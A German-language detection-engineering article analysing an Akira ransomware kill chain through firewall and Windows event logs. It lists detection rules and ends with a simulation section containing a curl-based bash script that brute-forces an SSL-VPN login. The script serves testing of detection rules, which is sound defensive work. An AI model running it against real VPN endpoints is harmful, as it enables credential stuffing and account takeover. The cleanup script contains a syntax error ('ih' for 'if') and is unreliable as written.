Verfolgen einer Akira-Ransomware-Kill-Chain durch Perimeter- und Endpunktprotokolle
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Artikel beschreibt einen kürzlichen Einbruch im Zusammenhang mit der Akira-Ransomware-Operation. Die Angreifer erlangten ersten Zugriff, indem sie ein deaktiviertes lokales SSL-VPN-Konto durch Bruteforce erlangten. Anschließend bewegten sie sich zu Zugangsdaten-Erkennung, Kerberoasting und lateraler Bewegung über RDP. Vor der Verschlüsselung löschten sie Protokolle und entfernten Schattenkopien. Bemerkenswert ist, dass die gesamte Sequenz über Firewall-Syslog-Daten und Windows-EVTX-Protokolle sichtbar war, ohne auf Endpoint-Erkennungstools angewiesen zu sein. Der Bericht hebt hervor, wie die Kombination von Perimeter- und Endpoint-Telemetrie Ransomware-Aktivitäten in ihren frühen Stadien aufdecken kann.
Untersuchung
Die Untersuchung stützte sich ausschließlich auf SSL-VPN-Firewall-Protokolle und Windows-Ereignisprotokoll-Exporte, die von Domänencontrollern und Mitgliederservern gesammelt wurden. Ereignis-IDs einschließlich 4624, 4688, 4769, 1102, und 7036 wurden korreliert, um die vollständige Kill-Chain vom ersten Zugang bis zum finalen Einfluss zu rekonstruieren. Die beobachteten Techniken umfassten Credential-Stuffing, Domänenentdeckung, Kerberoasting, RDP-Authentifizierung, Protokoll-Löschung und Schattenkopielöschung. Es waren keine Speicherabbilder oder EDR-Telemetrie erforderlich, um den Einbruch zu kartieren.
Abschwächung
Der Bericht empfiehlt die Verstärkung der Sicherheitsmaßnahmen für den Fernzugriff, die Durchsetzung von MFA, die Entfernung von deaktivierten Konten aus Firewall-Zugangslisten und die Stärkung der Authentifizierungs-Sperrrichtlinien. Es wird auch geraten, eine detaillierte Prozessüberwachung mit Ereignis-ID 4688 über alle Systeme hinweg zu aktivieren, die Aufbewahrung der Sicherheitsprotokolle zu erhöhen und kritische Protokolle an externen Speicher weiterzuleiten. Die Erkennungsinhalte sollten speziell RC4-basierte Kerberos-Tickets, vssadmin Schattenkopielöschung, und unerwartete PowerShell-Befehle mit -EncodedCommandbeinhalten. Eine konsistente Zeitsynchronisation in der gesamten Infrastruktur ist ebenfalls unerlässlich für eine zuverlässige Korrelation.
Antwort
Wenn einer der identifizierten Indikatoren auftaucht, sollten die Responder sofort das kompromittierte VPN-Konto isolieren und die betroffenen Systeme unter Quarantäne stellen. Relevante Firewall- und EVTX-Protokolle sollten gesichert, die Zugangsdaten zurückgesetzt, kompromittierte Konten deaktiviert und Schattenkopien aus sauberen Backups, wenn vorhanden, wiederhergestellt werden. Es sollte eine vollständige forensische Überprüfung durchgeführt werden, um zusätzliche Persistenzen oder Folgeaktivitäten zu identifizieren, während die Verfahren zur Ransomware-Reaktion aktiviert werden. Stakeholder sollten umgehend informiert und eine öffentliche Offenlegung in Betracht gezogen werden, wo erforderlich.
Angriffsablauf
Erkennungen
Mögliche Administrator-Kontenenumeration oder Gruppenaufzählung (über cmdline)
Ansehen
Mögliche Konto- oder Gruppenenumeration/Manipulation (über cmdline)
Ansehen
Verdächtige Domänenvertrauensbeziehungserkennung (über cmdline)
Ansehen
Verdächtige VSSADMIN-Aktivität (über cmdline)
Ansehen
Erkennung von RDP-basierter lateraler Bewegung und domänenweiter Privilegieneskalation [Microsoft Windows Security Event Log]
Ansehen
Erkennung von SSLVPN-Bruteforce und Credential-Stuffing [Firewall]
Ansehen
Simulation Ausführung
Voraussetzung: Die Telemetrie & Baseline Vorab-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Schilderung MÜSSEN direkt die identifizierten TTPs widerspiegeln und zielen darauf ab, die erwartete Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
- Aufklärung (T1087): Der Angreifer listet Benutzernamen von einem kompromittierten internen System auf und erstellt eine Liste zum Credential-Stuffing (z.B.
users.txt). - Bruteforce-Schleife (T1021.001 / T1078.001): Verwendung einer kompromittierten externen IP-Reihe, die zu einem bekannten Hosting-Anbieter gehört (z.B.
203.0.113.45), startet der Angreifer innerhalb einer Stunde eine schnelle Serie fehlgeschlagener SSLVPN-Authentifizierungsversuche (≥ 50). Jeder Versuch verwendet ein anderes Passwort von der Liste und zielt auf ein einziges Opferkonto ab. - Erfolgreiches Credential Stuffing: Nach dem Erschöpfen der Liste wird ein korrektes Passwort gefunden; der Angreifer meldet sich erfolgreich von derselben IP an und erfüllt die Bedingung „successful_auth“.
- Umgehung (Optional – T1070.001): Der Angreifer löscht das Sicherheitsprotokoll auf dem VPN-Gerät nach der erfolgreichen Anmeldung, um Spuren zu verbergen (wird von dieser Regel nicht abgedeckt).
- Aufklärung (T1087): Der Angreifer listet Benutzernamen von einem kompromittierten internen System auf und erstellt eine Liste zum Credential-Stuffing (z.B.
-
Regression-Test-Skript: Bash-Skript mit Verwendung von
curl(funktioniert auf Linux-Angreiferbox). Variablen für die reale Umgebung anpassen.#!/usr/bin/env bash # ------------------------------------------------------------------ # Simuliert SSLVPN Bruteforce/Credential Stuffing, um Sigma-Regel auszulösen # ------------------------------------------------------------------ VPN_ENDPOINT="https://vpn.example.com/remote/auth" USERNAME="victim_user" PASSWORD_LIST="passwords.txt" # ein Passwort pro Zeile SOURCE_IP="203.0.113.45" # muss zum VPN routbar sein # Funktion, um einen einzelnen Login-Versuch durchzuführen attempt_login() { local pwd="$1" # Verwendung von --silent, um Unordnung zu vermeiden; --write-out, um HTTP-Code zu erfassen curl --silent --output /dev/null --write-out "%{http_code}" --user "$USERNAME:$pwd" "$VPN_ENDPOINT" } # 1. Generiere 55 fehlgeschlagene Versuche (Rate ~1/Sek) echo "Starte fehlgeschlagene Versuche..." count=0 while IFS= read -r pwd && [ $count -lt 55 ]; do http_code=$(attempt_login "$pwd") echo "Versuch $((count+1)): HTTP $http_code (erwartet 401)" ((count++)) sleep 1 # innerhalb 1-Stunden-Fenster bleiben done < "$PASSWORD_LIST" # 2. Erfolgreiches Login mit korrekt Passwort (annehmen, dass letzte Zeile in Datei ist) echo "Erfolgreiches Login durchführen..." correct_pwd=$(tail -n1 "$PASSWORD_LIST") http_code=$(attempt_login "$correct_pwd") echo "Erfolgreicher Versuch: HTTP $http_code (erwartet 200)" echo "Simulation abgeschlossen." -
Befehle zur Bereinigung: Entfernen Sie alle temporären Dateien und setzen Sie die Firewall-Ratebegrenzung zurück (falls geändert).
#!/usr/bin/env bash # Bereinigung nach SSLVPN-Bruteforce-Simulation # Löschen Sie die temporäre Passwortliste, falls sie im Voraus erstellt wurde ih [ -f passwords.txt ]; then shred -u passwords.txt echo "passwords.txt gelöscht" fi # Optionale, temporäre iptables-Regeln, die zum Testen verwendet wurden, zurücksetzen sudo iptables -D INPUT -s 203.0.113.45 -j DROP 2>/dev/null || true echo "Bereinigung abgeschlossen."